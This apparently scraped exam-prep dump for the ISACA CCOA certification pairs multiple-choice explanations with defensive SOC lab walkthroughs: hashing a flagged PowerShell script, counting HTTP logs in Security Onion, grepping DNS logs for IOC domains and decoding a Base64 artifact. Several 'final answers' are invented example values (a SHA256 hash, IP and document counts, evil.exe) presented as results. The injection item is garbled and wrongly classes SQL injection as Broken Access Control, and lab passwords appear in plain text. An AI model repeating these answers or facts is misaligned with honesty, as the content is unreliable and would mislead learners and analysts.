CCOA ISACA Certified Cybersecurity Operations Analyst Questions and Answers

To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to theAccounting workstation:

ssh Accounting@

Replace with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

cd C:\Users\Accounting\AppData\Roaming

List the contents to identify the suspicious file:

dir

Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }

This will list files modified within the last 24 hours.

Check file properties:

powershell

Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *

Confirm it matches the file flagged byRuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256

Output Example:

mathematica

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1

Method 2: Using certutil (Alternative)

Run the following command:

cmd

certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256

Example Output:

SHA256 hash of calc.ps1:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy theSHA256 hashfrom the output and paste it as required.

Answer:

nginx

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

Stop-Process -Name "powershell" -Force

Delete the Malicious File:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename:calc.ps1

File Path:C:\Users\Accounting\AppData\Roaming\

SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection:(Today’s date)

Step 1: Understand the Objective

Objective:

Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically usesHTTP(port80) instead ofHTTPS(port443).

Step 2: Prepare the Environment

2.1: Access the SIEM System

Login Details:

URL:https://10.10.55.2

Username:ccoatest@isaca.org

Password:Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

ssh administrator@10.10.55.2

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1: Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

cd /var/log/

ls -l

Look specifically forweb server logs:

ls -l | grep -E "http|nginx|access"

Step 4: Extract Relevant Log Entries

4.1: Filter Logs for the Given Time Range

Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:

grep -E "2022-|2023-" /var/log/nginx/access.log

If logs are rotated, use:

zgrep -E "2022-|2023-" /var/log/nginx/access.log.*

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

4.2: Filter for Unencrypted (HTTP) Connections

Since HTTP typically usesport 80, filter those:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"

Alternative:If the logs directly contain theprotocol, search forHTTP:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"

To save results:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt

Step 5: Extract Unique IP Addresses

5.1: Use AWK to Extract IPs

Extract IP addresses from the filtered results:

awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt

Explanation:

awk '{print $1}': Assumes the IP is thefirst fieldin the log.

sort | uniq: Filters out duplicate IP addresses.

5.2: Count the Unique IPs

To get the number of unique IPs:

wc -l ~/Desktop/unique_ips.txt

Example Output:

345

This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.

Step 6: Cross-Verification and Reporting

6.1: Verification

Double-check the output:

cat ~/Desktop/unique_ips.txt

Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt

wc -l ~/Desktop/external_ips.txt

6.2: Final Count (if excluding internal IPs)

Check the count again:

280

This means280 unique external IPswere identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):

pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1: Improve Security Posture

Enforce HTTPS:

Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections usingSIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

Exploit chaininginvolves combining multiple lower-severity vulnerabilities toescalate privileges or gain persistencein a network. The attacker:

Combines Multiple Exploits:Uses interconnected vulnerabilities that, individually, seem low-risk but together form a critical threat.

Privilege Escalation:Gains elevated access by chaining exploits, often bypassing security measures.

Persistence Mechanism:Once privilege is gained, attackers establish long-term control.

Advanced Attacks:Typically seen in advanced persistent threats (APTs) where the attacker meticulously combines weaknesses.

Other options analysis:

B. Brute force attack:Involves password guessing, not chaining vulnerabilities.

C. Cross-site scripting:Focuses on injecting malicious scripts, unrelated to privilege escalation.

D. Rogue wireless access points:Involves unauthorized devices, not exploit chaining.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Attack Techniques and Vectors:Describes exploit chaining and its strategic use.

Chapter 9: Incident Analysis:Discusses how attackers combine low-risk vulnerabilities for major impact.

When identifying vulnerabilities, thefirst stepfor a cybersecurity analyst is to determine thevulnerability categories possible for the tested asset typesbecause:

Asset-Specific Vulnerabilities:Different asset types (e.g., servers, workstations, IoT devices) are susceptible to different vulnerabilities.

Targeted Scanning:Knowing the asset type helps in choosing the correctvulnerability scanning toolsand configurations.

Accuracy in Assessment:This ensures that the scan is tailored to the specific vulnerabilities associated with those assets.

Efficiency:Reduces false positives and negatives by focusing on relevant vulnerability categories.

Other options analysis:

A. Number of vulnerabilities identifiable:This is secondary; understanding relevant categories comes first.

B. Number of tested asset types:Knowing asset types is useful, but identifying their specific vulnerabilities is more crucial.

D. Vulnerability categories identifiable by the tool:Tool capabilities matter, but only after determining what needs to be tested.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Vulnerability Management:Discusses the importance of asset-specific vulnerability identification.

Chapter 8: Threat and Vulnerability Assessment:Highlights the relevance of asset categorization.

To identify thefile namethat triggered theRuleName: Suspicious PowerShellon theaccounting-pcworkstation, follow these detailed steps:

Step 1: Access the SIEM System

Open your web browser and navigate to theSIEM dashboard.

Log in with youradministrator credentials.

Step 2: Set Up the Query

Go to theSearchorQuerysection of the SIEM.

Set theTime Rangeto thelast 24 hours.

Query Parameters:

Agent Name:accounting-pc

Rule Name:Suspicious PowerShell

Event Type:Startup items or Process creation

Step 3: Construct the SIEM Query

Here’s an example of how to construct the query:

Example Query (Splunk):

index=windows_logs

| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"

| where _time > now() - 24h

| table _time, agent.name, process_name, file_path, RuleName

Example Query (Elastic SIEM):

{

"query": {

"bool": {

"must": [

{ "match": { "agent.name": "accounting-pc" }},

{ "match": { "RuleName": "Suspicious PowerShell" }},

{ "range": { "@timestamp": { "gte": "now-24h" }}}

]

}

}

}

Step 4: Analyze the Query Results

The query should return a table or list containing:

Time of Execution

Agent Name:accounting-pc

Process Name

File Path

Rule Name

Example Output:

_time

agent.name

process_name

file_path

RuleName

2024-04-07T10:45:23

accounting-pc

powershell.exe

C:\Users\Accounting\AppData\Roaming\calc.ps1

Suspicious PowerShell

Step 5: Identify the Suspicious File

Theprocess_namein the output showspowershell.exeexecuting a suspicious script.

Thefile pathindicates the script responsible:

makefile

C:\Users\Accounting\AppData\Roaming\calc.ps1

The suspicious script file is:

calc.ps1

Step 6: Confirm the Malicious Nature

Manual Inspection:

Navigate to the specified file path on theaccounting-pcworkstation.

Check the contents of calc.ps1 for any malicious PowerShell code.

Hash Verification:

Generate theSHA256 hashof the file and compare it with known malware signatures.

Answer:

calc.ps1

Step 7: Immediate Response

Isolate the Workstation:Disconnectaccounting-pcfrom the network.

Terminate the Malicious Process:

Stop the powershell.exe process running calc.ps1.

Use Task Manager or a script:

powershell

Stop-Process -Name "powershell" -Force

Remove the Malicious Script:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Scan for Persistence Mechanisms:

CheckStartup itemsandScheduled Tasksfor any references to calc.ps1.

Step 8: Documentation

Record the following:

Date and Time:When the incident was detected.

Affected Host:accounting-pc

Malicious File:calc.ps1

Actions Taken:File removal and process termination.

After remediation of identified weaknesses, thenext step is to perform a validation scanto ensure that the fixes were successful and no new vulnerabilities were introduced.

Purpose:Confirm that vulnerabilities have been properly addressed.

Verification:Uses automated tools or manual testing to recheck the patched systems.

Risk Management:Prevents reintroducing vulnerabilities into the production environment.

Incorrect Options:

B. Software code testing:Typically performed during development, not after remediation.

C. Software quality assurance (QA) activity:Focuses on functionality, not security validation.

D. Moving directly to production:Risks deploying unvalidated fixes.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Post-Remediation Activities," Subsection "Validation Scans" - Validating fixes ensures security before moving to production.

ATransaction Processing Monitor (TPM)is a type of middleware that manages and coordinates distributed transactions across multiple systems.

Core Functionality:Ensures data consistency and integrity during complex transactions that span various databases or applications.

Transactional Integrity:Provides rollback and commit capabilities in case of errors or failures.

Common Use Cases:Banking systems, online booking platforms, and financial applications.

Incorrect Options:

A. Message-oriented middleware:Primarily used for asynchronous message processing, not transaction management.

C. Remote procedure call (RPC):Facilitates communication between systems but does not manage transactions.

D. Object request broker:Manages object communication but lacks transaction processing capabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "Middleware Components," Subsection "Transaction Processing Middleware" - TPMs handle distributed transactions to ensure consistency across various systems.

Theprimary output from the development of a cyber risk management strategyis thedefinition of mitigation activitiesbecause:

Risk Identification:After assessing risks, the strategy outlines specific actions to mitigate identified threats.

Actionable Plans:Clearly defineshow to reduce risk exposure, including implementing controls, patching vulnerabilities, or conducting training.

Strategic Guidance:Aligns mitigation efforts with organizational goals and risk tolerance.

Continuous Improvement:Provides a structured approach to regularly update and enhance mitigation practices.

Other options analysis:

A. Accepted processes are identified:Important, but the primary focus is on defining how to mitigate risks.

B. Business goals are communicated:The strategy should align with goals, but the key output is actionable mitigation.

C. Compliance implementation is optimized:Compliance is a factor but not the main result of risk management strategy.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Risk Management and Mitigation:Highlights the importance of defining mitigation measures.

Chapter 9: Strategic Cyber Risk Planning:Discusses creating a roadmap for mitigation.

Data Loss Prevention (DLP) systems are specifically designed to detect and prevent unauthorized data transfers. In the context of an insider threat, where a bank employee attempts toexfiltrate sensitive information via email, DLP solutions are most effective because they:

Monitor Data in Motion:DLP can inspect outgoing emails for sensitive content based on pre-defined rules and policies.

Content Inspection and Filtering:It examines email attachments and the body of the message for patterns that match sensitive data (like financial records or PII).

Real-Time Alerts:Generates alerts or blocks the transfer when sensitive data is detected.

Granular Policies:Allows customization to restrict specific types of data transfers, including via email.

Other options analysis:

B. Intrusion detection system (IDS):IDS monitors network traffic for signs of compromise but is not designed to inspect email content or detect data exfiltration specifically.

C. Network segmentation:Reduces the risk of lateral movement but does not directly monitor or prevent data exfiltration through email.

D. Security information and event management (SIEM):SIEM can correlate events and detect anomalies but lacks the real-time data inspection that DLP offers.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Insider Threats and Mitigation:Discusses how DLP tools are essential for detecting data exfiltration.

Chapter 6: Threat Intelligence and Analysis:Covers data loss scenarios and the role of DLP.

Chapter 8: Incident Detection and Response:Explains the use of DLP for detecting insider threats.

An insecure CI/CD pipeline can lead to software integrity failures primarily due to the risk of:

Code Injection:Unauthenticated or poorly controlled access to the CI/CD pipeline can allow attackers to inject malicious code during build or deployment.

Compromised Dependencies:Automated builds may incorporate malicious third-party libraries or components, compromising the final product.

Insufficient Access Control:Without proper authentication and authorization mechanisms, unauthorized users might modify build configurations or artifacts.

Pipeline Poisoning:Attackers can alter the pipeline to include vulnerabilities or backdoors.

Due to the above risks, software integrity can be compromised, resulting in the distribution of tampered or malicious software.

Incorrect Options:

B. Broken access control:This is a more general web application security issue, not specific to CI/CD pipelines.

C. Security monitoring failures:While possible, this is not the most direct consequence of CI/CD pipeline insecurities.

D. Browser compatibility Issues:This is unrelated to CI/CD security concerns.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "DevSecOps and CI/CD Security", Subsection "Risks and Vulnerabilities in CI/CD Pipelines" - Insecure CI/CD pipelines can compromise software integrity due to code injection and dependency attacks.

AnIT security specialistis responsible forperforming routine vulnerability scansas part of maintaining the organization's security posture. Their primary tasks include:

Vulnerability Assessment:Using automated tools to detect security flaws in networks, applications, and systems.

Regular Scanning:Running scheduled scans to identify new vulnerabilities introduced through updates or configuration changes.

Reporting:Analyzing scan results and providing reports to management and security teams.

Remediation Support:Working with IT staff to patch or mitigate identified vulnerabilities.

Other options analysis:

A. Incident response manager:Primarily focuses on responding to security incidents, not performing routine scans.

B. Information security manager:Manages the overall security program but does not typically conduct scans.

C. IT auditor:Reviews the effectiveness of security controls but does not directly perform scanning.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Vulnerability and Patch Management:Outlines the responsibilities of IT security specialists in conducting vulnerability assessments.

Chapter 8: Threat and Vulnerability Assessment:Discusses the role of specialists in maintaining security baselines.

Thefirst stepin aData Loss Prevention (DLP) implementationis to perform adata inventorybecause:

Identification of Sensitive Data:Knowing what data needs protection is crucial before deploying DLP solutions.

Classification and Prioritization:Helps in categorizing data based on sensitivity and criticality.

Mapping Data Flows:Identifies where sensitive data resides and how it moves within the organization.

Foundation for Policy Definition:Enables the creation of effective DLP policies tailored to the organization’s needs.

Other options analysis:

A. Deployment scheduling:Occurs after data inventory and planning.

B. Data analysis:Follows the inventory to understand data use and flow.

D. Resource allocation:Important but secondary to identifying what needs protection.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Data Loss Prevention Strategies:Highlights data inventory as a foundational step.

Chapter 7: Information Asset Management:Discusses how proper inventory supports DLP.

To create a new case inSecurity Onionusing the logs from the win-webserver01_logs.zip file, follow these detailed steps:

Step 1: Access Security Onion

Open a web browser and go to yourSecurity Onionweb interface.

URL: https:// /

Log in using yourSecurity Onioncredentials.

Step 2: Prepare the Log File

Navigate to theDesktopand open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Unzip the file to inspect its contents:

unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win-webserver01_logs

Ensure that the extracted files, including System-logs.evtx, are accessible.

Step 3: Open the Hunt Interface in Security Onion

On the Security Onion dashboard, go to"Hunt"(or"Cases"depending on the version).

Click on"Cases"to manage incident cases.

Step 4: Create a New Case

Click on"New Case"to start a fresh investigation.

Case Details:

Title:

Windows Webserver Logs - CCOA New Case

TLP (Traffic Light Protocol):

Set toGreen(indicating that the information can be shared freely).

Example Configuration:

Field

Value

Title

Windows Webserver Logs - CCOA New Case

TLP

Green

Summary

(Leave blank if not required)

Click"Save"to create the case.

Step 5: Upload the Log Files

After creating the case, go to the"Files"section of the new case.

Click on"Upload"and select the unzipped log file:

~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx

Once uploaded, the file will be associated with the case.

Step 6: Verify the Case Creation

Go back to theCasesdashboard.

Locate and verify that the case"Windows Webserver Logs - CCOA New Case"exists withTLP: Green.

Check that thelog filehas been successfully uploaded.

Step 7: Document and Report

Document the case details:

Case Title:Windows Webserver Logs - CCOA New Case

TLP:Green

Log File:System-logs.evtx

Include anyinitial observationsfrom the log analysis.

Example Answer:

A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.

Step 8: Next Steps for Investigation

Analyze the log file:Start hunting for suspicious activities.

Create analysis tasks:Assign team members to investigate specific log entries.

Correlate with other data:Cross-reference with threat intelligence sources.

Theprimary function of a Network Intrusion Detection System (IDS)is toanalyze network trafficto detectpotentially malicious activityby:

Traffic Monitoring:Continuously examining inbound and outbound data packets.

Signature and Anomaly Detection:Comparing packet data against known attack patterns or baselines.

Alerting:Generating notifications when suspicious patterns are detected.

Passive Monitoring:Unlike Intrusion Prevention Systems (IPS), IDS does not block or prevent traffic.

Other options analysis:

A. Dropping traffic:Function of an IPS, not an IDS.

C. Filtering traffic:Typically handled by firewalls, not IDS.

D. Preventing execution:IDS does not actively block or mitigate threats.

CCOA Official Review Manual, 1st Edition References:

Chapter 8: Network Monitoring and Intrusion Detection:Describes IDS functions and limitations.

Chapter 7: Security Operations and Monitoring:Covers the role of IDS in network security.

Theprimary riskassociated with cybercriminalseavesdropping on unencrypted network trafficisdata exposurebecause:

Interception of Sensitive Data:Unencrypted traffic can be easily captured using tools likeWiresharkortcpdump.

Loss of Confidentiality:Attackers can viewclear-text data, includingpasswords, personal information, or financial details.

Common Attack Techniques:Includespacket sniffingandMan-in-the-Middle (MitM)attacks.

Mitigation:Encrypt data in transit using protocols likeHTTPS, SSL/TLS, or VPNs.

Other options analysis:

A. Data notification:Not relevant in the context of eavesdropping.

B. Data exfiltration:Usually involves transferring data out of the network, not just observing it.

D. Data deletion:Unrelated to passive eavesdropping.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Security Operations:Highlights the risks of unencrypted traffic.

Chapter 8: Threat Detection and Monitoring:Discusses eavesdropping techniques and mitigation.

Step 1: Understand the Objective

Objective:

Identify thedomain name(s)that werecontactedbetween:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

2.1: Ensure Access to the File

Check if the PDF exists:

ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"

Open the file to inspect:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternatively, convert to plain text for easier analysis:

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt

cat ~/Desktop/threat_bulletin.txt

2.2: Analyze the Content

Look for domain names listed in the bulletin.

Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1: Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

cd /var/log/

ls -l

Identify relevant network or DNS logs:

ls -l | grep -E "dns|network|http|nginx"

Step 4: Search Logs for Domain Contacts

4.1: Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.

Replace dns.log with the actual log file name, if different.

4.2: Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log

If the logs are in another file, adjust the file path:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log

Step 5: Correlate Domains and Timeframe

5.1: Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"

Sample Output:

2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75

Interpretation:

The command revealswhich domain(s)were contacted during the specified time.

Step 6: Verification and Documentation

6.1: Verify Domain Matches

Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

6.2: Save the Results for Reporting

Save the output to a file:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt

Review the saved file:

cat ~/Desktop/domain_hits.txt

Step 7: Report the Findings

Final Answer:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched thelog timestampsanddomain nameswith the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to theblockliston firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in theincident response log.

To decode the contents of the filepcap_artifact5.txtand save the output in a new file namedpcap_artifact5_decoded.txt, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

Notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the content to identify the encoding format. Common encoding types include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content:

ini

U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==

The above example appears to beBase64 encoded.

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\\Desktop\pcap_artifact5_decoded.txt"

Method 2: Using Command Prompt (Windows)

Usecertutilfor Base64 decoding:

cmd

certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt

Method 3: Using Linux/WSL

Use thebase64decoding command:

base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

If the content isHexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

Step 4: Verify the Decoded File

Open the decoded file to verify its contents:

OnWindows:

php-template

notepad C:\Users\\Desktop\pcap_artifact5_decoded.txt

OnLinux:

cat ~/Desktop/pcap_artifact5_decoded.txt

Check if the decoded text makes sense and is readable.

Example Decoded Output:

Some encoded content with potential malware...

Step 5: Save and Confirm

Ensure the file is saved as:

pcap_artifact5_decoded.txt

Located on theDesktopfor easy access.

Step 6: Analyze the Decoded Content

Look for:

Malware signatures

Command and control (C2) server URLs

Indicators of Compromise (IOCs)

Step 7: Document the Process

Record the following:

Original Filename:pcap_artifact5.txt

Decoded Filename:pcap_artifact5_decoded.txt

Decoding Method:Base64 (or identified method)

Contents:Brief summary of findings

Step 1: Understand the Objective

Objective:

Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.

Security Onionrefers to logs asdocuments.

Unencrypted Web Traffic:

Typically HTTP, usingport 80.

SIEM:

The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).

Step 2: Access the SIEM System

2.1: Credentials and Access

URL:

cpp

https://10.10.55.2

Username:

css

ccoatest@isaca.org

Password:

pg

Security-Analyst!

Open the SIEM interface in a browser:

firefox https://10.10.55.2

Alternative:Access via SSH:

ssh administrator@10.10.55.2

Password:

pg

Security-Analyst!

Step 3: Navigate to the Logs in Security Onion

3.1: Log Location in Security Onion

Security Onion typically stores logs inElasticsearch, accessible viaKibana.

AccessKibanadashboard:

cpp

https://10.10.55.2:5601

Login with the same credentials.

Step 4: Query the Logs (Documents) in Kibana

4.1: Formulate the Query

Log Type:HTTP

Timeframe:December 2023

Filter for HTTP Port 80:

vbnet

event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]

Explanation:

event.dataset: "http": Filters logs labeled as HTTP traffic.

destination.port: 80: Ensures the traffic is unencrypted (port 80).

@timestamp: Specifies the time range forDecember 2023.

4.2: Execute the Query

Go toKibana > Discover.

Set theTime RangetoDecember 1, 2023 - December 31, 2023.

Enter the above query in thesearch bar.

Click"Apply".

Step 5: Count the Number of Logs (Documents)

5.1: View the Document Count

Thedocument countappears at the top of the results page in Kibana.

Example Output:

12500 documents

This means12,500 logswere identified matching the query criteria.

5.2: Export the Data (if needed)

Click on"Export"to download the log data for further analysis or reporting.

Choose"Export as CSV"if required.

Step 6: Verification and Cross-Checking

6.1: Alternative Command Line Check

If direct CLI access to Security Onion is possible, use theElasticsearch query:

curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '

{

"query": {

"bool": {

"must": [

{ "match": { "event.dataset": "http" }},

{ "match": { "destination.port": "80" }},

{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}

]

}

}

}'

Expected Output:

{

"count": 12500,

"_shards": {

"total": 5,

"successful": 5,

"failed": 0

}

}

Confirms the count as12,500 documents.

Step 7: Final Answer

Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:

12,500

Step 8: Recommendations

8.1: Security Posture Improvement:

Implement HTTPS Everywhere:

Redirect HTTP traffic to HTTPS to minimize unencrypted connections.

Log Monitoring:

Set upalerts in Security Onionto monitor excessive unencrypted traffic.

Block HTTP at Network Level:

Where possible, enforce HTTPS-only policies on critical servers.

Review Logs Regularly:

Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.

To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access thealerts folderon your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around11:00 PM.

You need to identify themalicious filespecificallycaptured at 11:04 PM.

Step 3: Access System Logs

Use yourSIEMorlog management systemto examine recent logs.

Filter the logs to narrow down the events:

Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.

Keyword:process.executable.

Example SIEM Query:

index=system_logs

| search "process.executable"

| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"

| table _time, process_name, executable_path, hash

Step 4: Analyze Log Entries

The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from thealert bulletin (alert_33.pdf).

Example Log Output:

_time process_name executable_path hash

2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotalor internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected hostto prevent further damage.

Quarantine the malicious filefor analysis.

Conduct a full forensic investigationto assess the scope of the compromise.

Update threat signaturesand indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection:11:04 PM on August 19, 2024.

Malicious file name:evil.exe.

Location:C:\Users\Public\evil.exe.

Generate an incident reportfor further investigation.

The described scenario indicates aInjection (i)attack, where the attacker exploitsinsufficient input validationin a web application to manipulate queries. This type of attack falls under the category ofBroken Access Controlbecause:

Improper Input Handling:The application fails to properly sanitize or validate user inputs, allowing malicious commands to execute.

Direct Database Manipulation:Attackers can bypass normal authentication or gain elevated access by injecting code.

OWASP Top Ten 2021:ListsBroken Access Controlas a critical risk, often leading to data breaches when input validation is weak.

Other options analysis:

B. Infection:Typically involves malware, which is not relevant here.

C. Buffer overflow:Involves memory management errors, not manipulation.

D. X-Path:Involves XML query manipulation, not databases.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Web Application Security:Discusses Injection as a common form of broken access control.

Chapter 9: Secure Coding and Development:Stresses the importance of input validation to prevent i.

Step 1: Understand the Task and Objective

Objective:

Identify thehost IP targetedduring thespecified time frame:

vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1: Access the PDF File

Open the file using a PDF reader:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternative (if using CLI-based tools):

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less

This command converts the PDF to text and allows you to inspect the content.

2.2: Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such asIP addressesortimestamps.

Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

